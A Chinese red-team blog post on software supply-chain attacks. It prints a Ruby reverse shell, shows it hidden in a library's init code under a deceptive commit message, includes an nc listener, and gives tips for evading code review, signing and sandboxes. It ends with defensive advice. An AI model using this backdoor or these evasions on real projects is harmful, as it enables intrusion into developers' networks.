一、一次供应链渗透的“偶然发现”

有一次,我们对某家大厂开展授权的红队渗透测试,目标是落地一个横向移动的持久性后门。起初的计划是从外网暴露服务入手,例如常规的Web渗透、VPN打点,甚至尝试过钓鱼邮件,但目标的防护措施相当完备。这让我不得不转换思路,转而关注它的开发供应链。

通过信息收集,我意外发现目标团队的开发环境中使用了一个开源的第三方依赖库,而该库的维护者并没有对代码提交采取严格的安全审查措施。更有趣的是,这个库还托管在一个较小的私有Git仓库,仓库的安全策略比较宽松。意识到这是一个可利用的点,我决定从这个供应链环节下手,打通一条通往目标内网的攻击链。

接下来的几个星期,我制作了一个定制化的恶意代码并成功将其植入到该库之中,当目标团队更新依赖的时候,恶意代码成功在他们的内网环境中执行,从而为后续内网渗透奠定了基础。

供应链攻击就是这样——它不像直接攻击目标那么显而易见,但一旦成功,后果往往比常规攻击更加严重。

---

二、供应链渗透的核心思路

供应链攻击的本质是利用目标在开发或运营中依赖的第三方资源,间接实现攻击目标。这个“资源”可以是开源库、容器镜像、自动化构建工具,甚至是软件更新包。

在我的实战中,这种攻击一般通过以下几个步骤实现:

  1. 信息收集:了解目标开发团队使用的工具链、依赖库以及更新机制。例如,目标可能使用某些开源库,或者依赖某些特定的CI/CD工具。
  2. 寻找漏洞点:在供应链的环节中寻找可以被攻击的薄弱点,比如开源依赖库的代码提交权限、自动化构建流程的配置错误、容器镜像的未授权访问等。
  3. 构造Payload:制作一个能够满足攻击需求的恶意代码,通常包括后门植入、数据窃取或命令执行。
  4. 投放恶意代码:将Payload嵌入到供应链的薄弱环节中,例如代码库、更新包、配置文件等。
  5. 等待触发:当目标团队更新或使用被污染的资源时,恶意代码会在目标环境中执行,完成打点。

---

三、重现一个供应链攻击场景

为了展示供应链攻击的威力,我搭建了一个简化的实战环境。我们将以一个开源依赖库为例,模拟其被污染的过程。

环境搭建

  1. 目标环境
  • 一个模拟的开发团队,使用某个名为example_lib的开源依赖库。
  • 环境中运行的操作系统为Ubuntu 22.04,开发语言为Ruby。
  • 项目通过Bundler管理依赖。

黑客示意图

  1. 攻击者环境
  • Kali Linux作为攻击机器。
  • Git工具用于修改和投放恶意代码。
  • 一个远程C2服务器,用于接收目标的回连。
  1. 依赖库托管平台
  • 一个模拟的Git仓库,配置了较低的权限验证规则。

演示步骤

1. 制作恶意代码

首先,我们需要制作一个恶意代码,核心是植入一个能够远程连接C2服务器的后门。以下是一个简单的Ruby版Payload:

<pre><code class="language-ruby"># 这是一个简单的TCP反向Shell require &#039;socket&#039; require &#039;open3&#039;

def reverse_shell begin

连接C2服务器,IP为攻击者的

socket = TCPSocket.new(&#039;192.168.1.100&#039;, 4444) socket.puts &quot;Connected to victim machine&quot;

while (command = socket.gets)

后台执行收到的命令

output, error, status = Open3.capture3(command) socket.puts output + error end rescue sleep(10) # 如果失败,则休眠一段时间并重试 retry end end

黑客示意图

reverse_shell</code></pre>

2. 修改目标代码库

接下来,我们克隆目标的依赖库代码,将恶意Payload嵌入其中。例如在库的初始化代码中加入如下片段:

<pre><code class="language-ruby"># 在某个重要函数中悄悄引入后门代码 def initialize_library

正常的初始化逻辑

setup_dependencies

恶意代码段

Thread.new { reverse_shell } end</code></pre>

然后将修改后的代码提交到目标的代码仓库:

黑客示意图

<pre><code class="language-bash">git clone http://example.com/repos/example_lib.git cd example_lib

修改代码并提交

git add . git commit -m &quot;Update library with performance enhancements&quot; git push origin master</code></pre>

3. 等待目标拉取更新

现在等待目标团队通过bundle install命令更新依赖,当目标安装被污染的依赖库时,恶意代码会在他们的服务器上执行,并回连到我们的C2服务器。

4. 获取一个Shell

启动一个C2监听器(例如Netcat):

<pre><code class="language-bash">nc -lvvp 4444</code></pre>

当目标执行代码时,我们可以在C2上直接得到一个交互式Shell。

---

四、如何绕过防御机制?

在实战中,供应链攻击可能会遇到以下防御措施,我们需要针对性地进行规避:

1. 代码审查

如果目标团队对代码提交有严格的审查机制,直接篡改代码可能会被发现。解决方法:

  • 将恶意代码伪装成正常的性能优化代码。
  • 分多次提交恶意代码,每次修改都很小且看起来合理。

2. 依赖签名验证

一些团队可能会对依赖库进行签名验证。解决方法:

  • 通过接管托管平台的签名服务器,生成恶意代码的合法签名。
  • 修改目标的签名验证配置,使其信任伪造的签名。

3. 动态分析/沙箱

目标可能使用动态分析工具对依赖库进行沙箱检测。解决方法:

  • 在Payload中加入环境检测逻辑,例如检查是否为虚拟机环境。
  • 延迟执行恶意代码,避开沙箱检测的时间窗口。

---

五、防御建议与经验总结

1. 严格管理供应链

  • 对所有使用的第三方依赖库进行严格的安全审计,优先选择活跃维护的开源项目。
  • 对依赖库的更新包进行签名验证,防止被篡改。

2. 监控异常行为

  • 在内部网络中部署流量监控,检测到未授权的外连行为时及时报警。
  • 使用EDR工具捕捉恶意代码的运行痕迹。

3. 培养攻击者视角

作为甲方安全团队,应该始终站在攻击者的视角思考问题,通过模拟真实的攻击链对内部的供应链环节进行压力测试。

---

六、尾声

供应链攻击从来就不是简单的渗透,它更多的是一场心理战——你需要摸清目标的依赖习惯、开发流程和安全策略,找到最薄弱的一环加以突破。虽然这次示范的攻击场景比较基础,但它能揭示一个重要的事实:攻击的成功往往不在于技术的多么复杂,而在于攻击者对目标的理解有多深入。

对于我们这些渗透测试工程师来说,供应链攻击既是机遇,也是挑战。希望本文的实战演示能为你提供一些启发,帮助你更加全面地理解这一攻击手法。如果你有新的战术思路,也欢迎一同交流探讨!